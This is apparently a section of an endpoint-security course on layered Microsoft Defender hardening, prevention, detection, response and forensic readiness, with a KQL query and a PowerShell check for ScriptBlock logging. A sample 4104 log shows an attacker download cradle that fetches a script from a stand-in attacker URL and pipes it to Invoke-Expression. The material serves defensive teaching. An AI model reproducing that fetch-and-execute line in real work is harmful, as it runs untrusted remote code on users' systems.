The Endpoint Security Stack

Layer 1 — Hardening: reduce the attack surface before the attacker arrives

Hardening is the foundation layer. It reduces the number of things an attacker can exploit by removing unnecessary services, closing unnecessary ports, enforcing secure configurations, and eliminating default credentials. Hardening happens before any attack — it is the baseline security posture the endpoint presents to the world.

In the Microsoft ecosystem, hardening includes CIS Benchmarks for Windows that disable unnecessary services, restrict network protocols, and configure local security policies. Intune security baselines apply Microsoft's recommended configurations for Windows, Edge, and MDE. Compliance policies require BitLocker, enforce firewall, and mandate minimum OS versions. Windows LAPS randomizes local administrator passwords on every endpoint, preventing credential reuse during lateral movement. Credential Guard isolates LSASS secrets in a virtualization-based security container, so that even SYSTEM-level memory dumps cannot extract plaintext credentials.

The hardening layer is entirely preventive but not actively so. It does not detect attacks, respond to incidents, or preserve evidence. It makes the attack harder by reducing the available attack surface. An endpoint with a hardened CIS baseline, LAPS enabled, Credential Guard active, and BitLocker enforced presents a fundamentally smaller target than one running default configurations. Each additional hardening measure costs the attacker time, forces them to find alternative techniques, and increases the probability of detection at subsequent layers.

At NE, the hardening layer is the weakest part of the stack. LAPS is not deployed — every endpoint uses the same local administrator password, set during image deployment three years ago and never rotated. Credential Guard is not enabled on any endpoint. CIS Benchmarks have not been applied. The single hardening win is BitLocker, required for Cyber Essentials Plus certification. When the CHAIN-ENDPOINT attacker escalated privileges and dumped LSASS, they obtained the local administrator NTLM hash — identical on every endpoint. One hash gave local admin access to 865 machines. If LAPS had been deployed, each endpoint would have a unique password, and the stolen hash would work on exactly one machine. One hardening control would have transformed lateral movement from "one credential, 865 targets" to "one credential, one target."

Layers 2 and 3 — Prevention blocks, detection catches the rest

The prevention layer actively blocks attack techniques as they execute. ASR rules block specific high-risk behaviors — Office spawning child processes, scripts launching downloaded content, LSASS access by non-system processes. Defender Antivirus with cloud protection scans files and script content against cloud ML models. AMSI intercepts script content before execution. Network protection blocks connections to known malicious domains. Exploit protection enforces process-level mitigations. WDAC restricts which executables are allowed to run. Controlled Folder Access prevents unauthorized modifications to protected directories.

Prevention's strength is immediacy — it blocks the attack in real time before damage occurs. A ransomware executable blocked by AV encrypts zero files. An Office macro blocked by ASR spawns zero child processes. The attack is stopped at zero delay. Prevention's constraint is that it must not break legitimate business operations. Every prevention control has a blast radius — a set of legitimate activities it might incorrectly block. ASR rules that block Office from creating child processes may also block legitimate line-of-business applications that launch helper processes. WDAC that restricts executables to a known-good list breaks every new software installation until the list is updated. Controlled Folder Access that protects documents from unauthorized modification also blocks legitimate applications that are not on its allowed list. Module ES4 teaches the audit-first methodology that manages this constraint — deploy in audit mode, analyze the audit events to identify false positives, build targeted exclusions for legitimate applications, then enforce.

The blast radius concern is the primary reason most organizations leave ASR rules in audit mode indefinitely. They deploy the rules, see the audit events, recognize that some events are legitimate business processes, and never complete the work of building exclusions and promoting to block mode. The result: the organization has ASR "deployed" — it appears in compliance reports — but zero prevention is occurring. Every audited event is an attack technique that executed successfully. The audit-to-block transition is the most impactful engineering work in this course, and Module ES4 dedicates an entire section to it.

The detection layer identifies attacks that bypass prevention. No prevention layer is complete — determined attackers find techniques that are not blocked. MDE's EDR engine continuously collects telemetry and correlates behavioral patterns. Built-in MDE alerts catch known commodity malware and documented attack tools like default-configuration Mimikatz and Cobalt Strike. Custom detection rules — KQL queries scheduled in Advanced Hunting — alert on organization-specific patterns that the built-in models do not cover. Hunting queries provide proactive analyst-driven searches for indicators of compromise.

The relationship between prevention and detection drives configuration priorities. Every prevention control that moves from audit to block mode reduces the detection layer's workload. If ASR blocks Office from spawning PowerShell, the detection layer does not need to catch the malicious PowerShell that follows — it was never executed. If Credential Guard prevents LSASS credential extraction, the detection layer does not need to detect the Mimikatz execution — it failed to obtain usable credentials. Prevention controls should be deployed and enforced before investing heavily in custom detection rules. There is no value in writing a detection rule for a technique that a prevention control would have blocked, unless the prevention control cannot be deployed due to blast radius concerns. This priority — prevention before detection, audit before enforcement — is the deployment sequence codified in Section 0.7.

// Assess your prevention and detection layer — ASR rule state summary
DeviceEvents
| where Timestamp > ago(30d)
| where ActionType startswith "Asr"
| summarize AuditCount = countif(ActionType endswith "Audited"),
            BlockCount = countif(ActionType endswith "Blocked")
            by ActionType
| sort by AuditCount desc

If this query returns rows with "Audited" counts but zero "Blocked" counts, your ASR rules are generating telemetry but preventing nothing. Every audited event is an attack technique that executed successfully — you logged it, but you did not stop it. The audit-to-block transition for each rule is covered in Module ES4.

Layers 4 and 5 — Response contains, forensics reconstructs

The response layer provides tools for containing confirmed incidents. Device isolation severs network connectivity while maintaining the MDE cloud channel for continued investigation. Live response enables remote command execution for evidence collection and immediate remediation. AIR automatically investigates and remediates certain alert types without analyst intervention. Custom indicator blocking pushes file hashes, IP addresses, URLs, or certificates as block indicators across the entire fleet.

Response is the layer where speed matters most. A ransomware detection means nothing if the response — isolating the affected device — takes 30 minutes. The ransomware has already encrypted local drives and begun lateral propagation. Automated response, where a high-confidence detection triggers immediate device isolation, reduces response time from minutes to seconds. But automation has its own blast radius: a false positive that triggers automatic isolation takes a production machine offline. Module ES7 covers the confidence-based automation matrix that determines which detections safely trigger automatic response and which require human approval.

The forensic readiness layer is the most frequently neglected layer in the stack — and the one that determines whether incident investigations succeed or fail. Forensic readiness means configuring the endpoint to generate and retain the evidence that investigators need before the incident occurs. Advanced audit policies enable process creation auditing with command-line logging, logon event auditing, and privilege use auditing. PowerShell ScriptBlock logging captures the content of every PowerShell script executed. Sysmon provides enhanced process, network, and file system monitoring with Event IDs that EDR alone does not capture. Windows Event Forwarding centralizes logs to prevent loss if the endpoint is compromised. Collection tools like KAPE targets and Velociraptor agents are pre-staged and ready to execute.

Forensic readiness has zero impact on prevention or detection. It does not block attacks. It does not generate alerts. It ensures that when the detection layer fires and the response layer contains, the investigation team has the evidence to determine scope, reconstruct the attacker's actions, and validate that containment was complete. Without forensic readiness, the investigation team finds default audit policies that did not log process command lines, no PowerShell ScriptBlock logs to reconstruct attacker scripts, no Sysmon events to trace process-level activity, and no centralized log backup to recover events the attacker cleared.

The most common forensic readiness gap is PowerShell logging. At default settings, Windows logs PowerShell engine start and stop events (Event ID 400 and 403) but not the actual commands executed. ScriptBlock logging — configured via Group Policy or Intune — captures the full content of every script block executed by the PowerShell engine, including dynamically generated code, decoded commands, and the output of Invoke-Expression calls. Without it, an attacker who runs a 200-line credential harvesting script through PowerShell leaves no trace of what the script actually did.

Log Name:      Microsoft-Windows-PowerShell/Operational
Source:        Microsoft-Windows-PowerShell
Event ID:      4104
Task Category: Execute a Remote Command
Level:         Warning
Computer:      DESKTOP-NGE042.northgate.local
Description:
  Creating Scriptblock text (1 of 1):
  [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
  $client = New-Object System.Net.WebClient
  $client.DownloadString('https://raw.githubusercontent.com/attacker/payload/main/stage2.ps1') |
  Invoke-Expression

This is what ScriptBlock logging captures when it is enabled — the actual decoded script content, including the URL the attacker's download cradle connects to. Without ScriptBlock logging, this Event ID 4104 does not exist. The investigator sees only Event ID 400 (engine started) and Event ID 403 (engine stopped). They know PowerShell ran. They do not know what it ran. The difference between "PowerShell executed something" and "PowerShell downloaded and executed stage2.ps1 from this specific URL" is the difference between an incomplete investigation and an actionable finding.

# Check if PowerShell ScriptBlock logging is enabled
$regPath = "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"
if (Test-Path $regPath) {
    $enabled = (Get-ItemProperty -Path $regPath).EnableScriptBlockLogging
    if ($enabled -eq 1) { Write-Host "ScriptBlock logging: ENABLED" -ForegroundColor Green }
    else { Write-Host "ScriptBlock logging: DISABLED" -ForegroundColor Red }
} else {
    Write-Host "ScriptBlock logging: NOT CONFIGURED (default = disabled)" -ForegroundColor Yellow
}
# If output is NOT CONFIGURED or DISABLED, your forensic readiness
# layer has a critical gap. Module ES11 covers deployment via Intune.

Run this on any endpoint. If the output is "NOT CONFIGURED" or "DISABLED," your forensic readiness layer has a gap that directly affects every investigation involving PowerShell — which is most of them, given that PowerShell appears in over 60% of endpoint attack chains according to Microsoft's Digital Defense Report.

What breaks when a layer is missing

The five layers have dependencies that create cascading failures when any layer is absent.

Missing hardening means prevention and detection must compensate for a larger attack surface. Every default configuration that hardening would have closed is now an available attack path. Without LAPS, the detection layer must identify lateral movement across hundreds of machines instead of containing the attacker to a single compromised endpoint.

Missing prevention means the detection layer handles the full volume of attacks. Every technique that prevention would have blocked now executes, generating endpoint activity that the detection team must triage. Alert fatigue accelerates because analysts are investigating attacks that a configured ASR rule would have prevented with zero analyst effort.

Missing detection means response has nothing to trigger. Attacks that bypass prevention execute and are never identified. The organization does not know it is compromised. Response capabilities sit idle because nobody detected the incident that requires a response.

Missing response means detection identifies attacks that cannot be contained. The SOC sees the attacker moving laterally but cannot isolate the compromised device. The alert fires but the analyst has no rapid mechanism to stop the attack beyond calling IT to physically disconnect network cables — a process that takes 15-30 minutes in most organizations and requires knowing which physical port to disconnect. Automated isolation through MDE takes seconds, but only if response capabilities have been configured and tested before the incident occurs.

Missing forensic readiness means the incident is contained but never understood. The IR team cannot determine scope because command-line logging was not enabled. They cannot reconstruct the attacker's actions because PowerShell ScriptBlock logs were not configured. They cannot confirm data exposure because object access auditing was off. The organization cannot determine whether regulatory notification is required under GDPR Article 33, NIS2 Article 23, or SEC Item 1.05 — because the evidence that would answer that question was never generated. The incident is closed but the investigation is incomplete, and the residual risk of undiscovered persistence mechanisms remains.